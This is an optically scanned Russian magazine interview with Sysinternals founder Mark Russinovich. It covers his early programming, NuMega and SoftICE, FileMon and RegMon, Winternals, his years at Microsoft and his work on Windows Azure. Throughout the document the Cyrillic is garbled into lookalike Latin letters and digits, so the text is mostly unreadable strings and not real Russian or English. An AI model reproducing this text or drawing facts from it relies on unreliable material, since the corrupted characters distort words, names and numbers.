XaKepoB NNaHeThbl No Bep-
cumnxypHanaeWeek.

¢ PabotanBIBMkakakcnepT
noonepaLMoHHbIM CUCTE=
MaM.

¢ HanucanppaiiBep dpaino-
BoncucteMbiNTFSnog DOS.

¢ B2005ropyHawenpyTKUT
Ha ancke Sony BMG Music
Entertainment, u3-3ayero
6yKBaNnbHO «NPOCHYNCA
3HaMEHUTBIM».

¢ YpoyepunpeBoyKy
13 MocKBbl.

KAK CO30ABAJICH
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MAPK PYCCUHOBMY
OCHOBATEJIb SYSINTERNALS

CBOANM ®ANbI BMECTE

Ecnu ornsiHyTbcA Hasap M BCMOMHUTB, C Yero A Ha-
YMHaN, MOXHO 3aMETUTb MHOXECTBO NPeAnochINoK
K TOMY, YeM 5 3aHUMaloCh ceityac.

MouM nepBbIM KoMMbloTepoM 6bin Apple
Il. ¥ nepBoe, 4T0 5 C HUM cfenan, — packoBbl-
psin ROM-namsTh, 0TpeBepcyuB ee, 1 Npugymarn,
KaK MOXHO ee pacLuMpuThb.

fl npeKpacHO NOMHIO 3TOT MOMEHT. A yuunca
B LUECTOM KJlacce 1 NpuLlen K apyry gomoii. Ero
oTel, paboTtan B yHMBepCUTETE U NPUHEC JOMOM
Apple Il. Mot gpyr ckasan: «Y Moero nanbl ecTb
NepCOHanbHbIA KOMMbIOTEP, NMOKAEM NOCMOTPUM!»
Mbl noLwnv 1 cTanu urpatb ¢ HAM. Tak BCe 1 Ha-
4anock. [lo 3TOro f XoTen CTaTb UHXEHEPOM-aBU-
aKOHCTPYKTOPOM, HO MOCJIe HECKOJbKMX YacoB,
NpoBeAEHHbIX 33 KOMMbIOTEPOM, NepeayMar
1 pelwnn — xouy pabotate B IT.

Mo3xe A NPUHANCA NUCaTb CTaTbU B XYPHanbl
1 nporpaMMupoBaThb npunoxexus. Ctatbu bbinn
Ha TeMy «Kak pacwmpute ROM», a nporpam-

Mbl — [J151 pacrneyaTkn U306paxeHns ¢ aKpaHa
Ha npuHTepe. C 3T0ro § HaYMHan u, No cyTu, ceryac
33aHMMaloCh TEM Xe.

B To BpeMs nporpaMMbl nucanm Ha Basic,

HO ec/n X0TeN0Ch CO3AaBaTh NO-HaCTOSLEMY
CNoXHble BELLU, HYXKHO Bblo nepexoanTb

Ha MaLUMHHbIA A3bIK. A MaLLWHHbBIN 33bIK — 3T0
MPOCTO YUC/Ia, NOITOMY CHavana HYXHo Oblo
HanwucaTb accembrep, 4Tobbl 3anporpamMMipoBaTh
nakeT UHCTPYKLMIA AN KOMMbtoTepa. 3aTeM HyXeH
bbin An3accembnep, YTObbLI NONYYNTH U3 MALLNH-
HOro f3blka 06paTHO Ko, MporpamMMmbl. A Hanucan
ans cebs n gusaccembnep, n accembnep.

MeHs Bcerpa uHTepecoBano, kak paboraer
KoMnbloTep. MHe XoTenoch 3acTaBuTb €ro aenathb
BeLUM, KOTopble 0ObIYHBIN MPOrPaMMUCT He MO-
xeT. [lns aToro 51 v paspaboTan MHorue u3s ytuaut
Sysinternals.

Kak TonbKo i pewums, 4To Xouy 3aHUMaTbCs
KOMMNbIOTEPAMMU, i NOHS, 4TO X0y y3HaTb 06 3TOM
BCE, YTO TONIbKO MOXHO. HacTonbKo nosHo,
HacKonbKo cMory. Torzia xe NpULLo peLleHue,
4TO XO4y NoNy4nTh 06pasoBaHme B 3Tol obnacTu.
0pHaKo i XOTen U3yyaTb He NPOCTO HayKy, KoTopas
4aCTo YXOAMT B TEOPWMIO 1 abCTPaKTHbIE Uaen,

HO 1 NPaKTUYecKoe ee NpUMeHeHue, rae CoefnHs-
f0TCS annapaTHoe 1 nporpaMMHoe obecneyeHue.
fl nonyuun creneHb 6akanaBpa, 3aTeM Ma-
rUCTPa, a 3aTeM 1 LOKTOPa MO BbIYUCIUTENbHOM
TexHuKe. CBOW 3HaHUS § NPUNOXKWA K CO3AaHMIO
YTUAWT U NPUIOXKEHUI — NONbITANCs CO3A4aBaTh
KOMMepYecKune NporpaMMHble NPOAYKTbI 13 Uaei,
KOTOpbIE MPULLIKW KO MHE B npoLecce paboTsl Haf,
LOKTOPCKON. Ho y MeHsl H1yero He BbILLO.

Korpa Hu4ero He nonyyunochb, i nowen
Ha paboTy B KOMNaHuH, cneynanusmnpyLme-

Csl Ha Co3[aHUN NporpaMMHoro obecrneyeHus,
1 MCMOJIb30BaN 3HAHWSA, MONyYEHHbIE yXKe TaM.
MepBoi KoMnaHuen, rae s pabotan, ctana
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NuMega Technologies. HekoTopoe BpeMs 5 6bin

B KOMaH[e, KoTopasi 3aHMManach JIereHAapHbIM
oTnapymkom SoftICE (s o4eHb yacTo ucnonbsosan
3Ty NporpamMMy Ans PEBEPCUBHON UHKEHEPUU MOA
Windows n DOS).

KYJIbT MATKOI0 JIbJA

Korpa s npuwen B NuMega Technologies, y Hux
6b110 BCcero ABa NporpaMMHbIX npoaykTa: SoftICE
n BoundsChecker. [lebarrep v ytunuta gns npo-
BEPKW KOPPEKTHOrO NCMOb30BaHWA NaMaTh

1 API-BbI30BOB. 370 60MbLIME U yCMELIHbIE NPO-
ekTbl. 0fHaKo KoMnaxuio B byaylem cobupanunce
NpoAaTh, a /s NpoAaxu 1M bbino Heobxogumo
1MeTb bonblie yAayYHbIX NPOAYKTOB. PyKoBOACTBO
ckasano: «Mbl elle He NpuayManu, Kakum bypet
HaLll ClefytoLnii MPOEKT, HO Mbl XOTUM, YTOObI

Yy Hac bbINK NlofK, roToBbIe B3AThCS 3a HEro,

KaK TOIbKO Mbl puayMaem». IMeHHo no3aToMy oHu
HaHAIN MEeHS.

Y MeHs 6b110 MHOTO CBO60HOTO BpeMeHM.

Mo cyTn, MHe fanu Takyio 3agaudy: «[oka Mbl
paboTaeM Hap crnefytoLieit naeen, noyemy bl Tebe
He nopabotaTh Hag SoftICE? [lobaBb Tyaa Heckonb-
KO KOMaHJ, Hanuwu LOoKyMeHTalmio». Torga y MeHs
L,eICTBUTE/IbHO MOSIBUI0OCH MHOTO CBOBOAHOTO
BPEMEHW, U MMEHHO TOrAa g Havas 3aHNMaTbes Uc-
CNefoBaHWUAMU U NUCaTb Pa3finyHble yTUANTHI.

Korpa s Hayan pa6oTtaTb B KOMNaHUK, TaM
TPYAWNOCH BCEro OKOJNO TPUALLATH YenoBek. Kom-
naHus ele bbla ManeHbkas 1 TOJIbKO Ha4YuHana
pacTu. OcHosatenu NuMega (Ppank Mpocman
1 [xnM MockaH) xoTesnn B KOHLE KOHLLOB NMPoAaTh
ee, Tak 4TO OHM HaHUManu Bce bonblue nogei,

1 KOMNaHWs Majo-nomasy cTaHoBunack bonee
OpraHWM30BaHHOM.

B NuMega Technologies 6bina oueHb knaccHas
Xakepckas aTMocdepa, Ho 5 npopaboTtan TaM
BCero oKono aessT MecsaueB. Hap SoftICE yxe
TOrAa TPYAMNOCH LOBOMbHO H0NbLLIOE KOANYECTBO
niofei, B ToM yucne u Mat Mutpek. O Hem MHorue
3HAIOT, OH Hamucan KHUry «BHyTpeHHee ycTpoiicTBo
Windows» ana Windows 3.1.

f1 BooGLLE B TO BpeMs 3aBeN MHOTO ApY3eil,
KOTOpbI€ 0CTAJIMCb CO MHOIA U MO ceii AeHb. Takux
kak [xoH Pobunc — Muctep OTnagumk, o Koto-
pOM YuTaTeNu, ckopee BCero, Toxe 3HaloT. Muctep
Otnaguuk. OH Ben konoHky Bug Slayer B xypHane
MSDN v Hanucan kHury no otnagke ans Microsoft
.NET. OH BCe eLLe OfUH 13 MOUX DAN3KMX Apy3eii.
Muset [xoH B CnaTne, NOTOMY 4TO 04YEHb MHOTO
KoHcynbTupyeT Microsoft. Ewe xeddpu Putkop,
koToporo 51 BcTpetun B NuMega Technologies npu-
MEPHO TOT[a Xe, TOXKE W3BECTHbIN YesOBEK.

Ho B uTore, B cBOEM CTpeMJIeHNM NpofaTh
koMnauut, NuMega ctana kyga bonee Kom-
MEpYEeCKoW v noTepsiia CBOM XakepCkune KOpHU.

A noToM 3akpbinu paspabotky SoftICE. Ero npo-
nanu Compuware, Ho Ta TOXe CO4J1a 3TOT NPOEKT
HenepcrneKTUBHBIM.

NHTepBblo ¢ MapkoM PyccrHoBryeM

KAK UNIX TEPSET APY3EW

OAMH M3 KNIoYeBbIX MOMEHTOB HaCTynun

AN MeHs, Korpa g Bnepsble yBuaen Windows NT.
KaxeTtcs, ato 6bina Windows NT 3.1. Torpa s pe-
LKA, 4TO NpW TOM ycnexe, koTopblid MMena Windows
3.1, Windows NT, ckopee Bcero, CTaHeT He MeHee
ycnelwHow, Yem ee conepHuk UNIX.

Xots 31a OC Bce ewwe 6bina HOBa M Hespena,

y Hee 6bin yBepeHHbIN cTapT. Toraa 9 nopy-

Masn — Mbl Habnoganu noTpebuTenbckuin pocT

B IT, 0 KOTOpOM BCe roBOpPAT, M 3TOT POCT 3azana
Windows 3.1. Muoro ntogei ncnonb3yot Windows
[0Ma, a 3aTeM nepeHocsT ee B busHec. Windows
NT nosBonsna 3anyckaTb Te Xe caMble Nporpam-
Mbl, MOJ TEM Xe M0SIb30BaTENbCKUM UHTepbei-
COM, Tak 4T0 OblI0 COBEPLUEHHO TOTUYHO MATH
Jalblie — Ha paboyne CTaHUMW 1 BNOCNeACTBUN
Ha cepBepbl. [l MEHs 3T0 CTano OAHUM W3 NOBO-
POTHbIX PELUEHWIA, NOTOMY YTO [0 3TOro s pabotan
C IOHWKCOBbIMU CUCTEMAMU, HO MOCJIe COCPESOTO-
yuncs Ha Windows.

MoroBopka «YMHble AN NPUXOAAT K NM0-
XO0XMM 3aK/IOYEHMAM, KOTa PeLualoT ClIoXKHble
npobneMbl» NpUMeHMMa 1 K onepauyuoHHbIM
cucteMaM. [1o3ToMy nepecTpouTbes, B 06LLEM-TO,
0Ka3anochb A0BOJIbHO NPOCTO. {1 3aHMMarcs pas-
paboTkoi H13KoypoBHeBbix yacTert UNIX, a OC Bo
MHOrOM nepecekatTcs Mexay coboi. A Hanw-

Can HeCKOJIbKO CTaTell v Npe3eHTauui Ha TeMy
cpaBHeHnst UNIX 1 Windows NT, k npumepy B yeMm
pasHuULa U CXOACTBO B UX paboTe ¢ namsTbio. Pas-
HUMLa ecTb, Ho B ocHoBe 3Tx OC nexat ofHu v Te
e KOHLEMNLMU.

OAHUM U3 aCNeKToB, KOTOPbINA 04eHb No-
Hpasuica MHe B Windows NT, 6bina cuctema
BBOJa-BbiBoAa. JTa cucTeMa genaet OC oyeHb
rnbkoi. OgHa U3 MOUX MepPBbIX NONYSPHbIX YTUIWT,
FileMon, 6asupoBanack Ha rubkoctv paboTbl
¢ GannoBoN CUCTEMOI: MOXHO BbI10 NPOCTO Nofg-
KNOYUTb ApaiiBep U MOHUTOPUTL BCHO aKTUBHOCTb
I/0-cteka. B UNIX Takoe 6b110 HEBO3MOXHO.

B npuHumne, o cMX NOp CNOXHO HanMcaTb HeYTo
nogobHoe nog Linux. Yto yameuTesbHo — 6bino
MPEANPUHSATO HEMAJ0 TaKMX MOMLITOK (HanpuMep,
FUSE), Ho OHM He yBEHYaIUCh yCNexoM.

UNIX Torga He xBaTano ruékoctu. Ha camom
nene s Hanucan Bepcuto FileMon nog Linux ewe
B 1998-M. A caenan 3to, nponatyns OC Tak, 4Tobbl
MOXHO bbI10 NepexBaTbiBaTh CUCTEMHbIE BbI30BbI
(# menan Takoe ele B CBOEM LOKTOPCKOM).

K coxaneHuto, ogHOBpeMeHHO ¢ 3TUM B Linux
6bInM BHeCEHbl U3MEHEeHMs, MeluaBLUKe Bbijaye
CUCTEMHbIX BbI30BOB fiipa Kofy, He NIULeH3Upo-
BaHHOMy nop GPL. Mockonbky MHe He xoTenoch
BbIK/lafblBaTh ncxomHukM FileMon nog 3Toi nuuex-
31ell, paboTy NpULLNOCh 0CTaHOBUTb.

TeM He MeHee Mosi paboTa Hag UNIX nosnusina
Ha pa3BuTHe agpa Linux. B yactHocTH, Mov Bbi-
CTyNneHns o HefocTaTKax a4pa NpuUBenu K nossne-
HWIO Takux Beluel, kak Big Kernel Lock (MexaHuam,
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NO3BONSHOLLMIA CUHXPOHW3MPOBATb OHOBPEMEHHOE
BbIMOJIHEHWE HECKOJIbKUX NPOLIECCOB, 0CODEHHO
BaXHbI 415 paboTbl ¢ MHOrOMPOLLECCOPHBIMU CU-
ctemamu), Zero Copy (nepemeleHne nHdopmaumm
MeXzy HeckosbKuMU obnacTsaMu namsaTv 6es uc-
nosib30BaHuWs pecypcos npoueccopa) v MHorve
apyrve.

3APOXIOEHNE
SYSINTERNALS N BU3HECA
fl Hanucan FileMon, RegMon, NTFS DOS, u 3to
6b11M nepBble TpU NporpaMMbl U3 Sysinternals.

1 onybnukoBan nx Ha caitTe gpyra. 3Toro fpyra
HEKOTOpbIE U3 BaC MOTYT MOMHUTb — JHApPIO
LLlynbmaH, oH Hanucan Takne KHNTY, Kak «He-
noKyMeHTUpoBaHHbIM DOS» 1 «HeoduumanbHas
Windows 95».

3TN TpM NporpaMMbl XOCTUJIUCH Ha ero caiiTe,
4T06bI NIOAN MOFNIM CKa4YMBATh UCXOAHDINA KOA
1 ucnonusieMble ¢ainbl. Ho 3Hapio okasancs
HEe[L0CTaTOYHO OTBETCTBEHEH. Korga y MeHs no-
ABNANUCH PUKChI M 5 NPOCUN: «IHAPIO, MOBECH 3TOT
burKe», OH TPATUN Ha 3TO CIIULLIKOM MHOTO BPEMEHMW.
Torpa s 1 Bpaiic Korcsenn (c KoTopbIM Mbl no-
3HaKOMUNINCH B YHUBEPCUTETE) peLumu 3anycTuts
ntinternals.com.

Mbi cospanu cob6cTBEHHBIN CalT U CTanK
BbIKN1afbIBaTb NporpaMMbl TaM. /1 Bckope npo-
130LUeN eLle OAVH MOBOPOTHbIA MOMEHT B MOEH
XW3HU, Korpa bpalic ckasan: «Y MeHs ecTb uges
NpPOrpaMMbl, Ha KOTOPOJ Mbl CMOXEM AeNaThb
HOEeHbIrn».

NTFS DOS Torpa 6b11a 04eHb NonynspHa, no-
TOMY 4TO laBana NiofsM BO3MOXKHOCTb BOCCTaHaB-
nuBatb $annbl ¢ youtoit NT-cucteMbl, Kotopyio
6b110 HeNb3A 3arpy3uTb. Ho YTo, ecnu gath Noaam
BO3MOXHOCTb €LLe W YMHUTb CUCTEMbI — KOMUPO-
BaTb 06HOB/IEHHbIE paisibl, KOTopble Obl yCTpaHsy
Hemonafku, Unu 3anyckatb NpoBepKy Ancka?

B 10 Bpemsi B Windows eliie He Bb1/10 HUKaKUX
CpeAcTB BOCCTAHOBIEHWS CUCTEMBI.

Tak Mbl Hanucanu nporpaMMy nop HasBaHMeM
NT Recover, c noMoLLbt0 KOTOPOW MOXHO bbI0
MOHTVPOBaTb ANCKM CO cioMaHHoi NT-cuctemon
yAaneHHo, ncnonb3ays npunoxexue nog DOS-
nporpaMMy, 3arpyXXeHHoe ¢ AUCKeTbl. [Ipyroi
cucteMHbin guck Windows NT nogrpyxancs
Kak BMPTYyasibHbIA, U MOXHO bblNo 3anyckaTb
Explorer, konvpoBaTb daiiibl U MHULMUPOBATH
npoBepKy AncKa.

M Mbl pelunnu, 4To MOXKEM NonyyaTh 3a 3TOT
NpoAyKT feHbrn. Ml oprannsosanu Winternals.
com ¥ Havanu npofasanu ero Tam. B cBoto ove-
pefb, Ha ntinternals Mbl nomMecTun HebobLLION
baHHep c TekcToM «CnoHcupyetcs Winternals»,
BbLNOXKAN becnnatHyio Bepcuio NT Recover (oHa
n03B0/IAa TONbKO CYUTBIBATL MHPOpMaLio,

HO He JaBasia H14ero MoandUUMPOBATL) 1 Ha-

npasnsnu nogen Ha Winternals, rae MoxHo 6bio
KYMUTb MOJTHYK BEPCHIO.

C 1997 ropa Mbl HaYanu NPUHUMaTB K onnate
KpeanTHble KapTbl. CnepBa 370 NPUHOCUA0 Wb
HECKOJIbKO COTEH [J0NI/1apoB B MecsiLl, HO 04€Hb
BbICTPO LOLLUNO J,0 HECKONIbKUX ThiCAY LO/1apoB
B Mecsill, a MOTOM 10 LeCATKOB ThiCAY U TaK Janee...

Korpa a1 yctpouncs B IBM u pabotan B IBM
Research, Bpaiic Bce ewwe BknagbiBanacs B
KOMMepLuanu3aLuio Hawei NpoayKLUnK, KoTopas
npuHocuna 6onboi goxoa. OH ToNbKO TeM U 3a-
HUMasCs, 4TO KONMpPOBan MHOOPMALMIO C BNCKET.
To ecTb OH LWen [oMoiA, Konuposan daiibl ¢ auc-
KeT, OTHOCUJI UX Ha MOYTY 1 0TBEYas Ha 3BOHKM
Mo NofAepxKe.

CKopo cnpaBnsiTbCs B OAUHOYKY CTano cauLu-
KOM TsXKeno, 1 bpaiic ckasan, 4To HaM HyXHo
HaHsATb HOBLIX Ntofeit. Tak Mbl HaHANN YenoBeka
L1 TEXHUYECKOMN MOAAEPXKKMN U eLLe UCTIONHUTENb-
Horo AupekTopa. f Aaxe crneyuanbHo NpuneTen
(Bpaitcy npuwnock nepeexatb uTb 8 OcTuH),
Korga Mbl €ro HaHUManu.

Bckope Mbl 6panu Ha paboty Bce 6onblue
1 6onble niopeir. CHayana y Hac paboTano
NATb YEsI0BEK, NOTOM LecATh, NOTOM LBaALaTh
v TpuauaTth. B 2006 rogy Mbl npefcTaBuan HoBble
NUHeiikn NpoaykToB, v k 2006 rogy, korfa Hac
kynuna Microsoft, y Hac bbin0 yxxe BoceMbaecsT
nsaTb YenoBek!

0pHako K Microsoft npucoegMHMANCD TONIbKO
MbI ¢ BpaiicoM. Microsoft nprobpena y Hac He-
KoTopble TexHonoruu. Microsoft Diagnostic and
Recovery Toolkit (koTopbiit, no cyTu, sBnsietcs
aBapWitHbLIM 3arpy304HbIM JUCKOM, MO3BONSIOLLMM
00HOBNATH, 3aMycKaTb aHTUBKPYC, aHANM3MPOBaTh
cucTeMHble c6ou) NOCTpOeH Ha OCHOBE TeXHOOMNN,
KyniieHHoM y Hac. Tak 4To Mbl ¢ Bpaiicom nepeexa-
nu B PeaMoHp K Microsoft.

MICROSOFT: JINOBUT / HE IIOBUT

Boobue-To HeKorAa s YMyApWIICSA UCMOPTUTD
oTHoweHus ¢ Microsoft, Ho npogomxan pas-
pabaTbiBaTb CBOV NPUNIOXKEHUS U Aaxe Hanafun
OTHOLLEHUS JOCTAaTOYHO 1S TOrO, 4Tobbl HanucaTb
B COABTOPCTBE KHUTY 0 BHYTPEHHEM YCTpPOiiCTBE
Windows. fl Takxe BbicTynan ¢ fok/aaaMmu 1o BHy-
TPEHHeMy yCTPOMCTBY.

KaMHeM npeTkHoBeHus ¢ Microsoft ctan NT
Workstation. B PegmoHge yTBepxaanu, 4to gaH-
Hasi BepCusi TEXHUYECKM HeMnpurogHa Ans Toro,
4Tobbl paboTaTh B KauecTBe Beb-cepBepa, v nNpo-
rPaMMHO orpaHn4mBana paboty Kak |IS, Tak 1 nto-
6oro cTopoHHero cepsepa. Be6-cepsep nog NTW
MOT MPUHMUMaTB 3anpockl He bonee Yem oT gecaTy
yHUKanbHbIX P Kaxable fecsTb MUHYT. Mo 3aMbicny
pa3paboTynKoB, 4/ TaKOro cloxeTa bbino Heob-
X0AWMO npuobpecTy 3HaunTenbHo bonee goporyto
Windows NT 4.0.

T
HEKOrAA 1 YMYAPUINCA UCNOPTUTDL
OTHOLUEHUA C MICROSOFT, HO NPOAOJIXKAN
PA3PABATbLIBATb CBOU MPUJIOXKEHUA
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OpHako Ha caMoM Aiene MeXxAay ABYMS pefak-
umaMu NT noytu He 6b110 TEXHUYECKMX OTIMYUNA,
onpasAblBalOLMX TaKO MapKeTUHT. BrisicHunoch
3T0 B pe3ysibTaTe NPOBEEHHOr0 MHOW peBepc-
WHXWUHUPKHIa 0benx Bepcuit. B coto ouepenb,
3TO0 BbI3BaJIO WKBaN KPUTUKYM B agpec Microsoft
CO CTOPOHbI MPECCHI W PbIHKA B LIENIOM.

Mos npoaykums ctana oyeHb nonynspHa
cpeaum TexnoanepXku Microsoft. Yaue Bcero oHu
ncnonb3osanu FileMon n RegMon. {1 ctan 3ame-
4aTb, 4To BCe bosblue 1 bonblue NMceM NpUXoanT
oT coTpyAHuKoB Microsoft. Onn nucanu: «Ham
oueHb HpaBuTcs FileMon, Mbl ero kaxabiii feHb
ncnonb3yemM». MotoM B base 3HaHUi Microsoft
Hayanu NosBAATLCS CTaTbk, rnacuLne: «Ecnu Bbl
JyMaeTe, YTO y Bac kakas-To npobnema, 3anyctute
FileMon unu RegMon ¢ Sysinternals». MHe o4eHb
MosIbCTUI0, YTO MOV NPOrpaMMbl MOSIBUANCH B [0-
KymeHTauum Microsoft.

MoToM A y3Han, 4To MOUMM NporpaMMaMu
nosib3ytoTcs U paspabotumkm Microsoft. OgHum
113 MOUX MePBbIX KOHTAKTOB C COTPYAHWNKaMK
Microsoft cTano obuieHne co cTapwmm paspabot-
unkom Office, KOTOPBIN HK C TOTO HU C Cero npuchnan
MHe e-mail: «Kakoii y Tebs noyToBbI agpec? A bl
XoTen BbicnaTh Tebe Koe-4To, MOTOMY YTO Mbl MOCTO-
fHHO ncnonb3yeM RegMon ans nosbiweHns npo-
n3soputensHocTy Office n gnarHocTkn npobnem
npu pa3pabotke». OH npucnan MHe o4YeHb fobpoe
nucbMo, KoTopoe rnacuio: «[loporoit Mapk, Mbi
4acTo nosb3yeMcsi TBOMMU CPEACTBaMM NpU paspa-
6otke Office, oHu oTnnYHbIE». K nucbMy npunara-
JINCb IXKOMCTWK U HECKOJIbKO MPOrpamM.

Taxeno nu 6b110 nepenTh Ha paboTy
B Microsoft? Microsoft cnenana Tak, 4tobsl npu-
HSITb 3TO peLueHue Bbi10 04eHb nerko [Mapk cmeer-
s, IBHO HaMeKas Ha LiefpoCTb CBOETO HbIHELLHEr0
pabotopatens).

fl npucoegnHuncsa kK komaHge Windows.

Ha camoM piene Mosi no3uumsa Tam bbina npakTu-
YeCKM YHUKaNbHa — Y MeHs He BbIo HUKaKo
LOJDKHOCTHOW MHCTPYKLMK. MHe npulinock camoMy
coobpaxaTtb, YTO HYXHO cAenaTb. 3To bbln CBOETO
pofia BbI30B — MOHATb, Kak paboTaTb BHYTpK
Microsoft. Kak BAnATb Ha Nlogen, Kakne nHuLma-
TWBbI NPOABUTaTh, KaKMe TEXHONOrN BblABUraTh
Ha NepBbIi NAaH.

fl He Mory BbIA€NUTb KaKne-To oTAeNbHbIe
NPUIIOXKEHNS U NPOAYKTHI M CKasaThb: «3To caenan
A». YMecTHee byfeT ckasaTb: «f cbirpan kiwove-
BYIO POJib B MPOABMKEHUM TaKON-TO naen». boino
CNOXKHO, HO MHTEPECHO.

MHe no3BonsnM cOCPefoTOUMTLCA Ha Bellax,
KOTOpble fl CYUTaN MHTEPECHBIMU U/UNK BaXKHBIMU
ans Microsoft u npopykuum, Hap KoTopoii sl pa6o-
Tan. Hanpumep, g pabotan Hag MinWin (noxaTue,
ncnonbsyemoe Microsoft gns onncanns sgpa
11 0MepaLNoHHOM CUCTEMbI, OCHOBHbIE KOMMOHEHTbI
KOTOPbIX HaYyasu pa3pabaTbiBaTbCst OLHOBPEMEHHO
¢ Windows Vista). U tenepb Windows Phone 8 no-
CTPOEHa Ha 0CHOBE TOro Xe a4pa, 4To 1 Windows.
1 cbirpan orpoMHyto posib B MPOABVKEHNM naen
pa3bueHns Windows Ha KOMMOHEHTbI, 4TObbI
MOXHO bbIfI0 MCNONB30BaTb UX A1 BCEX HALUWX
MporpaMMHbIX NPOAYKTOB.

To ecTb y Hac 6bina Windows CE — OC ans Mo-
6unbHbIX ycTporcTB. OueHb npumutrBHas OC,
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Mapk Ha cbiIMnpoBM3UpOBaHHOM aBTOrpad-ceccuu, coctosslienca so BpeMs TechEd

pa3paboTaHHas B cepeanHe-KoHLe eBAHOCTbIX
rOfL0B, KOTAia YCTPOWCTBA BbIIM HAMHOTO NpoLLe.
Y Hee nnoxas 3awuTa, cnabas MHOro3afayHoCTb,
He[O0CTaTOYHO af;peCcHOro NPOCTPAHCTBA... CJIOBOM,
MoYTU HET BCelt Toi GYHKLMOHaNbHOCTH, KoTopas
Tpebyetcs coBpeMeHHon OC nns pabotsl, be3onac-
HOCTW M HaZEXHOCTH.

CTano icHo, YTo HeNb3sl pPa3BUBATb Takylo
0C. TenedoHbI ceriyac — 370 Te Xe KOMMbHTEPSI,
Tak 4To JIOTMYHO NOCTABUTbL HA HUX HACTOSILLYIO
OC. ToT xe nopxof, npuMenuna Apple, Korga oHu

B3sau cepaue 0S X v cpenanw i0S pns TenedoHos.

JlornyHo, 4TO Mbl CLLENaM TO e camoe.

Ho BepHeMcsl K ToMy, YTo y Hac 6binu ewe
n 6ecnnatHble Sysinternals, a Takxe Kommep-
yeckue Winternals, 0 KOTopbIX i FOBOPWA BbILLE.
Microsoft ncnonb3osana Haw gedparmeHTa-
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TOP Np¥ CO3AaHUN ABWKKA AepparMeHTaLmum
ona Windows NT. Takxe y Hac bbina yTunuTa nog,
Ha3BaHueM Protection manager, koTopas Morna
BnoknpoBaTh peknamy, YTo, B CBOK o4epefb, Npu-
BeJI0 K CaMOCTOSTeSIbHOMY NPOAYKTY Mo 610KNpoB-
Ke pekfambl.

YTunutel Sysinternals He cTanu YacTbio
0C no HecKoNbKMM NpUyKHaM. lepBas: s 06HoB-
NAK0 NX JOCTATOYHO YaCTO U NOCTOSHHO fobaBnsi
HOBble BO3MOXHOCTW. Ecnn 6b1 0HM Bbinn yacTbio
0C, oH1 06HOBAANNCH Bbl TONLKO C perynsipHbI-
M pennsamu OC — pas B roa (paHblue Boobuye
pas B Ba-TPU rofa, MPoOCTo Cceryac Aeso nowio
noboictpee). To ecTb # Bbl He CMOT 06HOBAATHL UX
Tak yacTo. Bropas: ecnu nporpamma — yactb OC,
HY>HO DbITb NPeAebHO OCTOPOXHbIM C Ka4ecTBOM
Kofa. 370 KparHe BaXKHO.

NHTepBblo ¢ MapkoM PyccrHoBryeM

MHe ynaBanocb genatb MHOToe Ha JIeTy,
6ykBanbHO cpasy. [lonycTuM, Ha Kakoii-H1byab
KOHdepeHLMN § yCabllWan, YTO Henoxo bbl caenaTb
Takylo-To duyy. M penato ee npsmMo B camoneTe,

Ha MyTW [LOMOA, @ Ha cnefyloLLelt Hefiene yxe 3a-
rpyxato Ha Sysinternals. Takoe HeBO3MOXHO, ec/un
370 yacTb OC.

EcTb 1 eLle ofHa NPUYMHA — MOU NPOrpaMMBbl
HaLleNleHbl Ha UCKYLUEHHbIX TPOpeccuoHanos,
pa3pabotynkoB B 0bnact b 1 Ha NpoABKHYTBIX
nonb3osatenen, Toraa kak Windows nonb3yetcs
OrpOMHOE YMCIO JI0fel, KOTOPbIM HEUMHTEpeCHa
MOS1 POAKLIMS, OHa TOSIbKO MOCTaBUT UX B TYMWK.

Mos ueneBas ayaMTopUs HaLINa MeHs caMa,
Tak 4To, ecnu bl 5 nomectun Sysinternals B8 OC, aTo
BPAS M yBENM4MNo0 bbl KONMYeCTBO Nosib3oBaTe-
Neil MOUX NporpamM.

Ho HekoTOpble MOV YTUAINTDI BCE XKe YaCTUYHO
nepewnu B Windows. [lonyctum, aucnetyep 3agau
UM MOHUTOPUHT pecypcoB. Tak YTo OHM BCe-Taku
NoBAWSAN Ha BCTPoeHHble cpefcTBa Windows.

MPUKOCHYJICA K OBJIAKAM

A nocnepHue fBa ¢ NoNIOBUHOM roAa s pabotato
Hap Windows Azure — nnatdopmoii 06nauHbix
cepBucoB. A paboTato B 0611a4yHOM HamnpasieHuu,
MOTOMY YTO MOHAN: NHPOPMALMOHHbBIA MUP ceityac
NPOXOANT Yepe3 TpeTbto TpaHcdopMaLumio. IMeHHo
B 061124HOV TEXHONOTUM NPOUCXOANT OCHOBHOE
pa3BuTUe, 3TO COBepLUEHHO HOBas napaaurma. Ewe
[)Ba rofia Ha3aj Ha KOHOEpPEHLMsAX HAKTO He 3Han,
4To Takoe obnako. A ceityac roBopuilb «06nako»

11 BCe MOHUMAHT, 4TO Thl MMeeLlb B BUAY.

K KoMaHpe g npucoefMHMNCA, KOraa NpoekT
Windows Azure yxe 6bin B paspaboTke. Toraa aTo
6b1n cBOEro poga npototun. Kak pas korga s Havan
paboTy Haf HKM, ero BrepBble BbIMyCTUAN Kak KOM-
Mepyeckuin MpoAyKT, HO 3TO Oblna coBepLUEHHO
HoBas niaTpopma. Ee HyxHo bbiio pa3srBaTh
M ynyyLaTh.

fl paboTan Hap npeeit «MHGpacTpyKTypa
KaK cepBuC» — OYHKLMWOHAN, BbINYLEHHbIN
NPOLLIbIM NIETOM. 1 ObIN1 BEAyLLIMM apXUTEKTOPOM
3TOro GpyHKLMOHanNa, onpefens, kak 31a Mofenb
(laaS) bynet paboTaTb U3HYTPK, Kak Mbl Byaem uc-
nonb3oBaTh xpaHunuuie Windows Azure, kakoBbl
TpeboBaHUs Mo NPON3BOLUTENBHOCTH, KaKOBa
HaAEXHOCTb.

Pa6oTtan s M Hap ApYrMMM HanpaBNEeHNAMM,
KOTOPbl€ MEHsl UHTepecoBaniu, K npuMepy ynpas-
NeHue pecypcaMu AaTa-LeHTpoB. {1 pasbupancs,
KaK NpaBW/IbHO 33JenI0UTh ero Ha BUPTyasbHbIX
MallWHaXx, 4Tobbl JOBUTLCA MakcManbHoW addek-
TUBHOCTU MCMONb30BaHUs pecypcoB. Kak banaH-
CUpOBaTb Harpy3Ky, Kakue MOLLHOCTY BbIAENATh
noJ, BUpPTyasibHble MalLUHbI — BCE 3TO UHTEPECHbIe
npobnemsl B 0bnactn Computer Science, KoTopbiMu
7 cefyac 3aHuMatoch B Microsoft Research.

TeM He MeHee cnefibl MOMX HapaboTok 3aMeT-
Hbl U B Apyrux npoaykTax Microsoft. Hanpumep,
HOBbI fucnetyep 3agay B Windows 8 siBHo HeceT
Ha cebe cnep, Process Monitor 1 apyrvx nogo6bHbix
YTANT.

